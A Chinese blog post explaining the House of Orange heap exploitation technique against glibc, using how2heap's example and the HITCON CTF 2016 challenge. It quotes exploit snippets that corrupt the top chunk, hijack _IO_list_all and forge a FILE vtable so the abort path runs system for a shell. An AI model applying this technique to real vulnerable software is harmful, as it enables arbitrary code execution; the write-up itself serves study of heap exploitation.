the house of orange解析

来源:互联网 发布:云杉网络 编辑:程序博客网 时间:2024/05/19 05:34
先以这个最简单的例子举例:
https://github.com/shellphish/how2heap/blob/master/house_of_orange.c
编译生成ELF文件(64位)

p1 =malloc(0x400-16);
每次创建堆都是从top chunk上切割堆块,由于top chunk默认是0x21000,因为我们已经申请了0x400大小的堆,所以此时top chunk大小为0x20c00,因为 PREV_INUSE已经被设置,所以此时真实的top chunk大小为0x20c01.
堆边界是页对齐的,top chunk也不例外。
如果top chunk的临近堆是free状态,那就会跟top chunk合并,所以top chunk的临近堆都是占有态的。top chunk的PREV_INUSE总是处于设置状态。
有两个条件必须要满足:
top chunk +sizeof(top chunk) 必须页对齐
top chunk的PREV_INUSE必须处于设置状态。

如果我们设置top chunk的大小为0xc00|PREV_INUSE ,那么就可以满足这两个条件 。
top = (size_t *) ( (char *) p1 + 0x400 - 16);
top[1] = 0xc01;
top chunk紧邻在刚才申请的堆后边,通过这样设置,就可以将top chunk的大小设置为0xc00了。

p2 =malloc(0x1000);
当我们申请一个堆 堆的大小大于top chunk且小于一个阈值时,就会调用sysmalloc和init_free
复杂操作的结果是在top(这个以后就被成为old_top)+sizeof(top chunk)后边新建一个top chunk来存放0x1000+0x16,然后将old_top free并放到unsorted chunk bins中

既然old_top已经在unsorted bins上了,下边看一下它的fd、bk中相应的数据吧
通过调试发现old_top->fd old_top->bk都指向main_arena中偏移0x58的地址,该处保存了top chunk的地址。
io_list_all = top[2] +0x9a8;
通过这个数据就可以计算出_IO_list_all的地址了。

下一步就是改写 io_list_all,将old_top->bk改写为 io_list_all-0x10 这样发生unsorted attack时,就会讲 io_list_all修改为main_arena中&unsorted bins-0x10的地址。
top[3] = io_list_all -0x10;

下边就是伪造_IO_list_all,变量“_IO_list_all”使用结构“_IO_FILE_plus”。 结构“_IO_FILE_plus”包含以下结构:
struct _IO_FILE_plus (size_of=0x78+0x8
{
  _IO_FILE file;
  const struct _IO_jump_t *vtable;
};
struct _IO_FILE {
  int _flags;       /* High-order word is _IO_MAGIC; rest is flags. */
#define _IO_file_flags _flags
 
  /* The following pointers correspond to the C++ streambuf protocol. */
  /* Note:  Tk uses the _IO_read_ptr and _IO_read_end fields directly. */
  char* _IO_read_ptr;   /* Current read pointer */
  char* _IO_read_end;   /* End of get area. */
  char* _IO_read_base;  /* Start of putback+get area. */
  char* _IO_write_base; /* Start of put area. */
  char* _IO_write_ptr;  /* Current put pointer. */
  char* _IO_write_end;  /* End of put area. */
  char* _IO_buf_base;   /* Start of reserve area. */
  char* _IO_buf_end;    /* End of reserve area. */
  /* The following fields are used to support backing up and undo. */
  char *_IO_save_base; /* Pointer to start of non-current get area. */
  char *_IO_backup_base;  /* Pointer to first valid character of backup area */
  char *_IO_save_end; /* Pointer to end of non-current get area. */
 
  struct _IO_marker *_markers;
 
  struct _IO_FILE *_chain;
 
  int _fileno;
#if 0
  int _blksize;
#else
  int _flags2;
#endif
  _IO_off_t _old_offset; /* This used to be _offset but it's too small.  */
 
#define __HAVE_COLUMN /* temporary */
  /* 1+column number of pbase(); 0 is unknown. */
  unsigned short _cur_column;
  signed char _vtable_offset;
  char _shortbuf[1];
 
  /*  char* _save_gptr;  char* _save_egptr; */
 
  _IO_lock_t *_lock;
#ifdef _IO_USE_OLD_IO_FILE
};
来张图更清晰:

struct _IO_jump_t
{
    JUMP_FIELD(size_t, __dummy);
    JUMP_FIELD(size_t, __dummy2);
    JUMP_FIELD(_IO_finish_t, __finish);
    JUMP_FIELD(_IO_overflow_t, __overflow);
    JUMP_FIELD(_IO_underflow_t, __underflow);
    JUMP_FIELD(_IO_underflow_t, __uflow);
    JUMP_FIELD(_IO_pbackfail_t, __pbackfail);
    /* showmany */
    JUMP_FIELD(_IO_xsputn_t, __xsputn);
    JUMP_FIELD(_IO_xsgetn_t, __xsgetn);
    JUMP_FIELD(_IO_seekoff_t, __seekoff);
    JUMP_FIELD(_IO_seekpos_t, __seekpos);
    JUMP_FIELD(_IO_setbuf_t, __setbuf);
    JUMP_FIELD(_IO_sync_t, __sync);
    JUMP_FIELD(_IO_doallocate_t, __doallocate);
    JUMP_FIELD(_IO_read_t, __read);
    JUMP_FIELD(_IO_write_t, __write);
    JUMP_FIELD(_IO_seek_t, __seek);
    JUMP_FIELD(_IO_close_t, __close);
    JUMP_FIELD(_IO_stat_t, __stat);
    JUMP_FIELD(_IO_showmanyc_t, __showmanyc);
    JUMP_FIELD(_IO_imbue_t, __imbue);
#if 0
    get_column;
    set_column;
#endif
};
我们的目的就是伪造_IO_jump_t中的__overflow为system函数达到执行shell的目的。

int
748 _IO_flush_all_lockp (int do_lock)
749 {
750 int result = 0;
751 struct _IO_FILE *fp;
752
753 #ifdef _IO_MTSAFE_IO
754 _IO_cleanup_region_start_noarg (flush_cleanup);
755 _IO_lock_lock (list_all_lock);
756 #endif
757
758 for (fp = (_IO_FILE *) _IO_list_all; fp != NULL; fp = fp->_chain)
759 {
760 run_fp = fp;
761 if (do_lock)
762 _IO_flockfile (fp);
763
764 if (((fp->_mode <= 0 && fp->_IO_write_ptr > fp->_IO_write_base)
765 || (_IO_vtable_offset (fp) == 0
766 && fp->_mode > 0 && (fp->_wide_data->_IO_write_ptr
767 > fp->_wide_data->_IO_write_base))
768 )
769 && _IO_OVERFLOW (fp, EOF) == EOF)
770 result = EOF;
771
772 if (do_lock)
773 _IO_funlockfile (fp);
774 run_fp = NULL;
775 }
下边的比较难以理解:
我们现在fp=(_IO_FILE *) _IO_list_all现在指向main_arena中&unsorted bin-0x10处,该处是不可以控制,那就看一下下一个fp=fp->_chain,即当前偏移0x68处,也就是main_arena中small bins[4]的位置了。
如果我们把old_top设置为0x61并且触发一个不适合的small chunk分配,那么malloc就会将old_top地址放到small[4]中,又由于small bins是空的,所以old_chunk就会占据main_arena中smallbins[4]的首要位置。
那么只要在old_top上伪造我们的_IO_list_all,就可以执行任意函数了。

前提是可以触发异常,参考源代码如下:


由于大小小于MINSIZE(size <= 2 * SIZE_SZ),所以会触发终止并且执行 _IO_flush_all_lockp中的_IO_OVERFLOW函数,只要我们将_IO_OVERFLOW替换为system函数的地址并且将fd(old_top)指向bin/sh,那么就会获得一个shell了
想要执行_IO_OVERFLOW必须要通过前提条件的判断:
if (((fp->_mode <= 0 && fp->_IO_write_ptr > fp->_IO_write_base)
765 || (_IO_vtable_offset (fp) == 0
766 && fp->_mode > 0 && (fp->_wide_data->_IO_write_ptr
767 > fp->_wide_data->_IO_write_base))
768 )
769 && _IO_OVERFLOW (fp, EOF) == EOF)

也就是需要满足两个条件:
1. fp->_mode <= 0
2. fp->_IO_write_ptr > fp->_IO_write_base


size_t *jump_table = &top[12]; // controlled memory
jump_table[3] = (size_t) &winner;
*(size_t *) ((size_t) fp + sizeof(_IO_FILE)) = (size_t) jump_table; // top+0xd8
伪造虚地址表,

malloc(10);
触发异常,最终获得shellcode。

上边只是一个举例,下边看看真正的house of orange,只说说不同的地方吧 。
相关exp见:https://www.lazenca.net/pages/viewpage.action?pageId=7536648

当我们将old_top添加到unsorted bins后,再从old_top中分配堆,此时堆的结构是这样的:

可以看到此时堆的fd、bk指向main_arena中的偏移地址,fd+0x10、bk+0x10指向old_top的地址
根据这些偏移就可以计算出libc、heap的基地址

下边是布置_IO_list_all的地方:
我们在上次例子中是通过绕过1. fp->_mode <= 0
2. fp->_IO_write_ptr > fp->_IO_write_base这两个条件实现执行shell的,但是在这里是通过满足以下两个条件实现的:
1. fp->_mode > 0
2.fp->_wide_data->_IO_write_ptr > fp->_wide_data->_IO_write_base 异曲同工

struct _IO_wide_data
216 {
217  wchar_t *_IO_read_ptr;        /* Current read pointer */
218  wchar_t *_IO_read_end;        /* End of get area. */
219  wchar_t *_IO_read_base;        /* Start of putback+get area. */
220  wchar_t *_IO_write_base;        /* Start of put area. */
221  wchar_t *_IO_write_ptr;        /* Current put pointer. */
222  wchar_t *_IO_write_end;        /* End of put area. */
223  wchar_t *_IO_buf_base;        /* Start of reserve area. */
224  wchar_t *_IO_buf_end;                /* End of reserve area. */
225  /* The following fields are used to support backing up and undo. */
226  wchar_t *_IO_save_base;        /* Pointer to start of non-current get area. */
227  wchar_t *_IO_backup_base;        /* Pointer to first valid character of
228                                   backup area */
229  wchar_t *_IO_save_end;        /* Pointer to end of non-current get area. */
230
231  __mbstate_t _IO_state;
232  __mbstate_t _IO_last_state;
233  struct _IO_codecvt _codecvt;
234
235  wchar_t _shortbuf[1];
236
237  const struct _IO_jump_t *_wide_vtable;
238 };


最终也获得了shell。

参考:
1. https://github.com/shellphish/how2heap/blob/master/house_of_orange.c#L54
2. https://github.com/ctfs/write-ups-2016/tree/master/hitcon-ctf-2016/pwn/house-of-orange-500
3. https://gist.github.com/inaz2/b1f6f599456259bd1804b6c4c1449428
4. http://www.cnblogs.com/shangye/p/6268981.html
5. https://www.lazenca.net/pages/viewpage.action?pageId=7536648
6. https://www.lazenca.net/display/TEC/House+of+Orange
7. https://www.lazenca.net/display/TEC/House+of+Orange
8. http://bobao.360.cn/ctf/detail/178.html
9. http://bobao.360.cn/learning/detail/3296.html
10. https://outflux.net/blog/archives/2011/12/22/abusing-the-file-structure/
11. https://code.woboq.org/userspace/glibc/libio/genops.c.html#_IO_flush_all_lockp
12. https://code.woboq.org/userspace/glibc/malloc/malloc.c.html#3717